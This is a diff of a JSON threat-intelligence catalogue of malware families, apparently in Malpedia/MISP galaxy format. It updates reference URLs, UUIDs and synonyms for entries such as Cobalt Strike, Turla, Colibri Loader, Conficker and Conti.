"https://twitter.com/AltShiftPrtScn/status/1403707430765273095", "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", "https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/", "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", + "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", "https://skyblue.team/posts/scanning-virustotal-firehose/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://redcanary.com/blog/getsystem-offsec/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine", + "https://redcanary.com/blog/gootloader", "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", "https://zero.bs/cobaltstrike-beacons-analyzed.html", "https://github.com/Apr4h/CobaltStrikeScan", "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - "https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/", "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/", + "https://isc.sans.edu/diary/rss/27618", "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://www.arashparsa.com/hook-heaps-and-live-free/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.arashparsa.com/catching-a-malware-with-no-name/", + "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2", "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", "https://www.darktrace.com/en/blog/catching-apt-41-exploiting-a-zero-day-vulnerability/", "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", - "https://isc.sans.edu/diary/rss/27618", + "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", "https://www.youtube.com/watch?v=WW0_TgWT2gs", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", - "https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/", - "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux", + "https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/", + "https://www.cobaltstrike.com/support", "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", "http://www.secureworks.com/research/threat-profiles/gold-kingswood", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf", "https://thedfirreport.com/2021/05/12/conti-ransomware/", "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", "https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists", "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://twitter.com/TheDFIRReport/status/1359669513520873473", "https://asec.ahnlab.com/ko/19640/", - "https://www.cobaltstrike.com/support", + "https://security.macnica.co.jp/blog/2022/05/iso.html", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.mandiant.com/resources/evolution-of-fin7", "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/" ], @@ -13510,12 +16303,13 @@ "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "https://github.com/hfiref0x/TDL", - "https://www.circl.lu/pub/tr-25/", + "https://docs.broadcom.com/doc/waterbug-attack-group", "https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon", "https://www.youtube.com/watch?v=FttiysUZmDw", "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", + "https://www.circl.lu/pub/tr-25/", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf" ], "synonyms": [ @@ -13572,6 +16366,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer", "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/", "https://secrary.com/ReversingMalware/CoinMiner/", + "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/", "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/" ], "synonyms": [], @@ -13580,6 +16375,19 @@ "uuid": "333e2e87-b9b0-4e2e-9ed9-7259c55a93db", "value": "Coinminer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldbrew", + "https://businessinsights.bitdefender.com/hypervisor-introspection-thwarts-web-memory-corruption-attack-in-the-wild" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b30a19b2-383b-4ca5-a047-00910b8a3e03", + "value": "coldbrew" + }, { "description": "", "meta": { @@ -13613,6 +16421,36 @@ "uuid": "8d5b7766-673c-493f-b760-65afd61689cb", "value": "Cold$eal" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer", + "https://asec.ahnlab.com/en/32090/", + "https://asec.ahnlab.com/ko/31703/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5869f846-adf8-4798-833e-54c05f9b30f6", + "value": "ColdStealer" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri", + "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", + "https://fr3d.hk/blog/colibri-loader-back-to-basics", + "https://github.com/Casperinous/colibri_loader", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "09926538-a7a0-413b-bc7d-4b20a8f4b515", + "value": "Colibri Loader" + }, { "description": "", "meta": { @@ -13620,7 +16458,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba", "https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/" ], - "synonyms": [], + "synonyms": [ + "Collector Stealer" + ], "type": [] }, "uuid": "5c0f96fd-54c0-44cd-9caf-b986e3fa2879", @@ -13700,6 +16540,20 @@ "uuid": "f5044eda-3119-4fcf-b8af-9b56ab66b9be", "value": "Comfoo" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook", + "https://twitter.com/ClearskySec/status/1484211242474561540", + "https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7726de54-95cc-4783-b26f-79882f0f6cba", + "value": "ComLook" + }, { "description": "", "meta": { @@ -13783,9 +16637,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker", "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", + "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://www.minitool.com/backup-tips/conficker-worm.html", - "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", "https://github.com/tillmannw/cnfckr", "http://contagiodump.blogspot.com/2009/05/win32conficker.html" @@ -13821,72 +16677,187 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti", - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://www.youtube.com/watch?v=hmaWy9QIC7c", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", + "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "https://www.youtube.com/watch?v=uORuVVQzZ0A", "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://www.youtube.com/watch?v=hmaWy9QIC7c", "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", "https://github.com/cdong1012/ContiUnpacker", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", "https://www.ic3.gov/Media/News/2021/210521.pdf", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", + "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", + "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", + "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", + "https://github.com/TheParmak/conti-leaks-englished", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://share.vx-underground.org/Conti/", + "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.connectwise.com/resources/conti-profile", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", + "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", + "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", + "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", + "https://www.mbsd.jp/research/20210413/conti-ransomware/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", + "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", + "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", - "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://twitter.com/AltShiftPrtScn/status/1423188974298861571" + "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", + "https://github.com/whichbuffer/Conti-Ransomware-IOC", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + 